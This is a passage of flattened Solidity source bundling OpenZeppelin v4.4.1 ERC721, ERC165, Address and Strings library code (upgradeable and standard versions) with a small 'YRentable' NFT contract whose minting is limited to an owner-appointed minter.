not initializing"); _; } function _isConstructor() private view returns (bool) { return !AddressUpgradeable.isContract(address(this)); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/Address.sol) pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library AddressUpgradeable { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC721/ERC721.sol) pragma solidity ^0.8.0; import "IERC721Upgradeable.sol"; import "IERC721ReceiverUpgradeable.sol"; import "IERC721MetadataUpgradeable.sol"; import "AddressUpgradeable.sol"; import "ContextUpgradeable.sol"; import "StringsUpgradeable.sol"; import "ERC165Upgradeable.sol"; import "Initializable.sol"; /** * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including * the Metadata extension, but not including the Enumerable extension, which is available separately as * {ERC721Enumerable}. */ contract ERC721Upgradeable is Initializable, ContextUpgradeable, ERC165Upgradeable, IERC721Upgradeable, IERC721MetadataUpgradeable { using AddressUpgradeable for address; using StringsUpgradeable for uint256; // Token name string private _name; // Token symbol string private _symbol; // Mapping from token ID to owner address mapping(uint256 => address) private _owners; // Mapping owner address to token count mapping(address => uint256) private _balances; // Mapping from token ID to approved address mapping(uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; /** * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection. */ function __ERC721_init(string memory name_, string memory symbol_) internal onlyInitializing { __Context_init_unchained(); __ERC165_init_unchained(); __ERC721_init_unchained(name_, symbol_); } function __ERC721_init_unchained(string memory name_, string memory symbol_) internal onlyInitializing { _name = name_; _symbol = symbol_; } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165Upgradeable, IERC165Upgradeable) returns (bool) { return interfaceId == type(IERC721Upgradeable).interfaceId || interfaceId == type(IERC721MetadataUpgradeable).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view virtual override returns (uint256) { require(owner != address(0), "ERC721: balance query for the zero address"); return _balances[owner]; } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view virtual override returns (address) { address owner = _owners[tokenId]; require(owner != address(0), "ERC721: owner query for nonexistent token"); return owner; } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); string memory baseURI = _baseURI(); return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : ""; } /** * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each * token will be the concatenation of the `baseURI` and the `tokenId`. Empty * by default, can be overriden in child contracts. */ function _baseURI() internal view virtual returns (string memory) { return ""; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public virtual override { address owner = ERC721Upgradeable.ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require( _msgSender() == owner || isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner nor approved for all" ); _approve(to, tokenId); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view virtual override returns (address) { require(_exists(tokenId), "ERC721: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { _setApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom( address from, address to, uint256 tokenId ) public virtual override { //solhint-disable-next-line max-line-length require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId ) public virtual override { safeTransferFrom(from, to, tokenId, ""); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public virtual override { require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _safeTransfer(from, to, tokenId, _data); } /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * `_data` is additional data, it has no specified format and it is sent in call to `to`. * * This internal function is equivalent to {safeTransferFrom}, and can be used to e.g. * implement alternative mechanisms to perform token transfer, such as signature-based. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeTransfer( address from, address to, uint256 tokenId, bytes memory _data ) internal virtual { _transfer(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), * and stop existing when they are burned (`_burn`). */ function _exists(uint256 tokenId) internal view virtual returns (bool) { return _owners[tokenId] != address(0); } /** * @dev Returns whether `spender` is allowed to manage `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) { require(_exists(tokenId), "ERC721: operator query for nonexistent token"); address owner = ERC721Upgradeable.ownerOf(tokenId); return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender)); } /** * @dev Safely mints `tokenId` and transfers it to `to`. * * Requirements: * * - `tokenId` must not exist. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeMint(address to, uint256 tokenId) internal virtual { _safeMint(to, tokenId, ""); } /** * @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is * forwarded in {IERC721Receiver-onERC721Received} to contract recipients. */ function _safeMint( address to, uint256 tokenId, bytes memory _data ) internal virtual { _mint(to, tokenId); require( _checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer" ); } /** * @dev Mints `tokenId` and transfers it to `to`. * * WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible * * Requirements: * * - `tokenId` must not exist. * - `to` cannot be the zero address. * * Emits a {Transfer} event. */ function _mint(address to, uint256 tokenId) internal virtual { require(to != address(0), "ERC721: mint to the zero address"); require(!_exists(tokenId), "ERC721: token already minted"); _beforeTokenTransfer(address(0), to, tokenId); _balances[to] += 1; _owners[tokenId] = to; emit Transfer(address(0), to, tokenId); } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId) internal virtual { address owner = ERC721Upgradeable.ownerOf(tokenId); _beforeTokenTransfer(owner, address(0), tokenId); // Clear approvals _approve(address(0), tokenId); _balances[owner] -= 1; delete _owners[tokenId]; emit Transfer(owner, address(0), tokenId); } /** * @dev Transfers `tokenId` from `from` to `to`. * As opposed to {transferFrom}, this imposes no restrictions on msg.sender. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer( address from, address to, uint256 tokenId ) internal virtual { require(ERC721Upgradeable.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own"); require(to != address(0), "ERC721: transfer to the zero address"); _beforeTokenTransfer(from, to, tokenId); // Clear approvals from the previous owner _approve(address(0), tokenId); _balances[from] -= 1; _balances[to] += 1; _owners[tokenId] = to; emit Transfer(from, to, tokenId); } /** * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. */ function _approve(address to, uint256 tokenId) internal virtual { _tokenApprovals[tokenId] = to; emit Approval(ERC721Upgradeable.ownerOf(tokenId), to, tokenId); } /** * @dev Approve `operator` to operate on all of `owner` tokens * * Emits a {ApprovalForAll} event. */ function _setApprovalForAll( address owner, address operator, bool approved ) internal virtual { require(owner != operator, "ERC721: approve to caller"); _operatorApprovals[owner][operator] = approved; emit ApprovalForAll(owner, operator, approved); } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { if (to.isContract()) { try IERC721ReceiverUpgradeable(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721ReceiverUpgradeable.onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert("ERC721: transfer to non ERC721Receiver implementer"); } else { assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual {} uint256[44] private __gap; } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721.sol) pragma solidity ^0.8.0; import "IERC165Upgradeable.sol"; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721Upgradeable is IERC165Upgradeable { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165Upgradeable { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721Receiver.sol) pragma solidity ^0.8.0; /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721ReceiverUpgradeable { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/IERC721Metadata.sol) pragma solidity ^0.8.0; import "IERC721Upgradeable.sol"; /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721MetadataUpgradeable is IERC721Upgradeable { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/Strings.sol) pragma solidity ^0.8.0; /** * @dev String operations. */ library StringsUpgradeable { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol) pragma solidity ^0.8.0; import "IERC165Upgradeable.sol"; import "Initializable.sol"; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165Upgradeable is Initializable, IERC165Upgradeable { function __ERC165_init() internal onlyInitializing { __ERC165_init_unchained(); } function __ERC165_init_unchained() internal onlyInitializing { } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165Upgradeable).interfaceId; } uint256[50] private __gap; } // SPDX-License-Identifier: MIT pragma solidity ^0.8.11; import "ERC721.sol"; import "IERC721.sol"; import "Counters.sol"; import "Ownable.sol"; contract YRentable is ERC721, Ownable { using Counters for Counters.Counter; Counters.Counter internal _tokenIds; address internal _minter; constructor() ERC721("YRentable", "YRENTABLE") {} modifier onlyMinter() { require(_msgSender() == _minter, "Only minter"); _; } function setMinter(address minter_) external onlyOwner { _minter = minter_; } function getMinter() external view returns (address) { return _minter; } function mint(address to) external onlyMinter returns (uint256) { _tokenIds.increment(); uint256 newTokenId = _tokenIds.current(); _mint(to, newTokenId); return newTokenId; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC721/ERC721.sol) pragma solidity ^0.8.0; import "IERC721.sol"; import "IERC721Receiver.sol"; import "IERC721Metadata.sol"; import "Address.sol"; import "Context.sol"; import "Strings.sol"; import "ERC165.sol"; /** * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including * the Metadata extension, but not including the Enumerable extension, which is available separately as * {ERC721Enumerable}. */ contract ERC721 is Context, ERC165, IERC721, IERC721Metadata { using Address for address; using Strings for uint256; // Token name string private _name; // Token symbol string private _symbol; // Mapping from token ID to owner address mapping(uint256 => address) private _owners; // Mapping owner address to token count mapping(address => uint256) private _balances; // Mapping from token ID to approved address mapping(uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; /** * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC721).interfaceId || interfaceId == type(IERC721Metadata).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view virtual override returns (uint256) { require(owner != address(0), "ERC721: balance query for the zero address"); return _balances[owner]; } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view virtual override returns (address) { address owner = _owners[tokenId]; require(owner != address(0), "ERC721: owner query for nonexistent token"); return owner; } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); string memory baseURI = _baseURI(); return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : ""; } /** * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each * token will be the concatenation of the `baseURI` and the `tokenId`. Empty * by default, can be overriden in child contracts. */ function _baseURI() internal view virtual returns (string memory) { return ""; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public virtual override { address owner = ERC721.ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require( _msgSender() == owner || isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner nor approved for all" ); _approve(to, tokenId); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view virtual override returns (address) { require(_exists(tokenId), "ERC721: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { _setApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom( address from, address to, uint256 tokenId ) public virtual override { //solhint-disable-next-line max-line-length require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId ) public virtual override { safeTransferFrom(from, to, tokenId, ""); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public virtual override { require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _safeTransfer(from, to, tokenId, _data); } /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * `_data` is additional data, it has no specified format and it is sent in call to `to`. * * This internal function is equivalent to {safeTransferFrom}, and can be used to e.g. * implement alternative mechanisms to perform token transfer, such as signature-based. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeTransfer( address from, address to, uint256 tokenId, bytes memory _data ) internal virtual { _transfer(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), * and stop existing when they are burned (`_burn`). */ function _exists(uint256 tokenId) internal view virtual returns (bool) { return _owners[tokenId] != address(0); } /** * @dev Returns whether `spender` is allowed to manage `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) { require(_exists(tokenId), "ERC721: operator query for nonexistent token"); address owner = ERC721.ownerOf(tokenId); return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender)); } /** * @dev Safely mints `tokenId` and transfers it to `to`. * * Requirements: * * - `tokenId` must not exist. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeMint(address to, uint256 tokenId) internal virtual { _safeMint(to, tokenId, ""); } /** * @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is * forwarded in {IERC721Receiver-onERC721Received} to contract recipients. */ function _safeMint( address to, uint256 tokenId, bytes memory _data ) internal virtual { _mint(to, tokenId); require( _checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer" ); } /** * @dev Mints `tokenId` and transfers it to `to`. * * WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible * * Requirements: * * - `tokenId` must not exist. * - `to` cannot be the zero address. * * Emits a {Transfer} event. */ function _mint(address to, uint256 tokenId) internal virtual { require(to != address(0), "ERC721: mint to the zero address"); require(!_exists(tokenId), "ERC721: token already minted"); _beforeTokenTransfer(address(0), to, tokenId); _balances[to] += 1; _owners[tokenId] = to; emit Transfer(address(0), to, tokenId); } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId) internal virtual { address owner = ERC721.ownerOf(tokenId); _beforeTokenTransfer(owner, address(0), tokenId); // Clear approvals _approve(address(0), tokenId); _balances[owner] -= 1; delete _owners[tokenId]; emit Transfer(owner, address(0), tokenId); } /** * @dev Transfers `tokenId` from `from` to `to`. * As opposed to {transferFrom}, this imposes no restrictions on msg.sender. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer( address from, address to, uint256 tokenId ) internal virtual { require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own"); require(to != address(0), "ERC721: transfer to the zero address"); _beforeTokenTransfer(from, to, tokenId); // Clear approvals from the previous owner _approve(address(0), tokenId); _balances[from] -= 1; _balances[to] += 1; _owners[tokenId] = to; emit Transfer(from, to, tokenId); } /** * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. */ function _approve(address to, uint256 tokenId) internal virtual { _tokenApprovals[tokenId] = to; emit Approval(ERC721.ownerOf(tokenId), to, tokenId); } /** * @dev Approve `operator` to operate on all of `owner` tokens * * Emits a {ApprovalForAll} event. */ function _setApprovalForAll( address owner, address operator, bool approved ) internal virtual { require(owner != operator, "ERC721: approve to caller"); _operatorApprovals[owner][operator] = approved; emit ApprovalForAll(owner, operator, approved); } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received( address from, address to, uint256 tokenId, 